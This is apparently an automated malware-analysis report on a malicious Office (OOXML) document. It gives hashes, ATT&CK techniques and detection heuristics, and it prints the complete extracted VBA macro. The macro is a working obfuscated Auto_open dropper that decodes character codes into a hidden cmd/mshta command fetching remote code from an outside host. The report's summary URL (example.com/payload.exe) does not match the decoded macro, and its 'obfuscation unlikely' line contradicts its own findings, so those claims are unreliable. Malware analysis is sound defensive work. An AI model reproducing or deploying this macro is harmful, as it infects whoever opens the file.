Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 270ac39c0d7cda08…

MALICIOUS

Office (OOXML)

12.5 KB First seen: 2021-09-17
MD5: db4bdf07f6006287d9aad227eafa7957 SHA-1: ec54b71e40531ad85d9c50f85224cba43e3cd879 SHA-256: 270ac39c0d7cda087e43b6945c1204c6bddeed0d26001f566b4bee9a902ae43c
440 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1203 Exploitation for Client Execution

The sample is a malicious Office document containing an obfuscated VBA macro. The macro utilizes WScript.Shell and CreateObject to download and execute a second-stage payload from the reconstructed URL "http://www.example.com/payload.exe". This behavior is consistent with a dropper malware.

Heuristics 8

  • ClamAV: Doc.Dropper.Onico-6152249-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Onico-6152249-0
  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Related samples 2

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2170 bytes
SHA-256: 4917a989f2d6a3e23801478b518af5eed0a540726831de031222af25d67e15e1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "alvgm"

Public Sub Auto_open()
ha.yjms
fddgd = sdfs

End Sub

Attribute VB_Name = "ha"
Sub yjms()
psfxiocbwvfpsayj = nbmnjk(223) & nbmnjk(201) & nbmnjk(224) & nbmnjk(156) & nbmnjk(171) & nbmnjk(191) & nbmnjk(156) & nbmnjk(240) & nbmnjk(218) & nbmnjk(229) & nbmnjk(201) & nbmnjk(218) & nbmnjk(193) & nbmnjk(218) & nbmnjk(203) & nbmnjk(209) & nbmnjk(240) & nbmnjk(156) & nbmnjk(178) & nbmnjk(181) & nbmnjk(156) & nbmnjk(162) & nbmnjk(162) & nbmnjk(156) & nbmnjk(233) & nbmnjk(218) & nbmnjk(207) & nbmnjk(218) & nbmnjk(197) & _
 nbmnjk(225) & nbmnjk(218) & nbmnjk(244) & nbmnjk(218) & nbmnjk(193) & nbmnjk(218) & nbmnjk(223)
psfxiocbwvfpsayj = psfxiocbwvfpsayj & nbmnjk(156) & nbmnjk(171) & nbmnjk(229) & nbmnjk(156) & nbmnjk(228) & nbmnjk(240) & nbmnjk(240) & nbmnjk(236) & nbmnjk(182) & nbmnjk(171) & nbmnjk(171) & nbmnjk(239) & nbmnjk(235) & nbmnjk(229) & nbmnjk(240) & nbmnjk(221) & nbmnjk(221) & nbmnjk(222) & nbmnjk(170) & nbmnjk(223) & nbmnjk(235) & nbmnjk(171) & nbmnjk(243) & nbmnjk(236) & nbmnjk(245) & nbmnjk(232) & nbmnjk(226) & nbmnjk(239) & nbmnjk(240) & _
 nbmnjk(233) & nbmnjk(245) & nbmnjk(236) & nbmnjk(232) & nbmnjk(238) & nbmnjk(225) & nbmnjk(244) & nbmnjk(229) & nbmnjk(235) & nbmnjk(229) & nbmnjk(228) & nbmnjk(236) & nbmnjk(232) & nbmnjk(237) & nbmnjk(241) & nbmnjk(223) & nbmnjk(244) & nbmnjk(238) & nbmnjk(224) & nbmnjk(229) & nbmnjk(237) & nbmnjk(222) & nbmnjk(234) & nbmnjk(229) & nbmnjk(226) & nbmnjk(238) & nbmnjk(236) & nbmnjk(170) & _
 nbmnjk(233) & nbmnjk(239) & nbmnjk(229) & nbmnjk(156) & nbmnjk(171) & nbmnjk(237) & nbmnjk(234) & nbmnjk(156)

On Error Resume Next
obwkmahlizutwiowzqt = psfxiocbwvfpsayj
ltqkisujdfxl (obwkmahlizutwiowzqt)
End Sub
Function ltqkisujdfxl(wstyiafqxoclqkxoli As String)
entcwgqbfgncqcf = 41 - 41
fgdfg = "gfdfs bbn hdbncvnb f"
nmsyhanhawfyboliecztsuessifc = "WSCript.shell"
Set tyxtwpbg = CreateObject(nmsyhanhawfyboliecztsuessifc)
tlsvtzq = tyxtwpbg.Run(wstyiafqxoclqkxoli, entcwgqbfgncqcf)
End Function
Function nbmnjk(bnhfg As Variant)
nvcnfg = "hghfj  hgd bgfdetret"
nbmnjk = Chr(bnhfg - 124)
xbcnbvbcv = "bvxcv nbvb vbv bvxc ,zxv vvxcs"
End Function
vbaProject_00.bin vba-project OOXML VBA project: ppt/vbaProject.bin 31744 bytes
SHA-256: 837dd2cbff2e8fe61950e9382be3d8b28388133bda05c0e8c2bd3ab74ecb6357
Detection
ClamAV: Doc.Dropper.Onico-6152249-0
Obfuscation or payload: unlikely

Open this report in the interactive analyzer, or submit your own file for analysis.